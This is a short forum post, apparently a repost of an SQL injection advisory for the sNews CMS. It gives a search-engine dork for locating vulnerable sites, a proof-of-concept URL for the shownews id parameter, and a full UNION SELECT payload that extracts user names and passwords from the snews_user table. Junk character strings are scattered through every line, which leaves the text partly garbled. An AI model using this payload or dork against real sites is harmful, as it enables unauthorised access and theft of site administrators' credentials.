标题: CMS snews SQL Injection Vulnerability
5 ?1 q/ d: Y% \6 b* L作者: By onestree2 j. U! @$ G7 o1 n$ h
下载地址 : http://snewscms.com/
+ N0 P5 r% A4 q6 t# i( P, W2 @测试平台 : ubuntu 12.10 / win 7
% [: @ z- h1 {$ f关键词: inurl:"tanyakan pada rumput yang bergoyang"
/ Y4 |6 O; O' s! J
K/ K: X+ ]3 t7 k4 t2 t
$ H3 Q$ _/ ~0 N# [6 @2 x) Q) n0 z' C0 u*************************************************************$ @! x9 h- ]$ ^: h4 b7 @
$ i& @2 R0 a4 Q3 E7 V* m2 dSQL poc:) F/ m3 Q$ d* U0 R- l* n
- A- Q% r$ T+ [% w$ O" T8 Y, s8 Dhttp://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]; c9 _% n: i" m8 s; ^, h
9 Y) q! X5 v$ ]6 J
示例: G3 n2 N1 Y! D5 q4 K) {" N
2 z& e* }: _( C6 u
http://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*3 i; q, V, a0 ?* Z: Z- C' u. h
5 V% h& {" n2 p. v, _7 Y
$ ]/ y. G5 L0 V6 T% b% o1 R致谢:
" X8 m" k2 K- i. X; [6 B " J) {* @8 l) p4 U k1 m1 H1 C
Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell
1 h( O( q4 i3 {$ ~9 k- O- y4 h' O
+ H/ q6 D* [( s9 [% k indonesiancoder - moeslimh4x0r - go-coder4 U1 L2 t0 q l* V$ ]
2 z% @# B t$ E- ~
spesial my hunny :*! s0 I: h9 L& @! @/ ]7 f
|
发表于 2013-1-23 08:55:06
收藏
支持
反对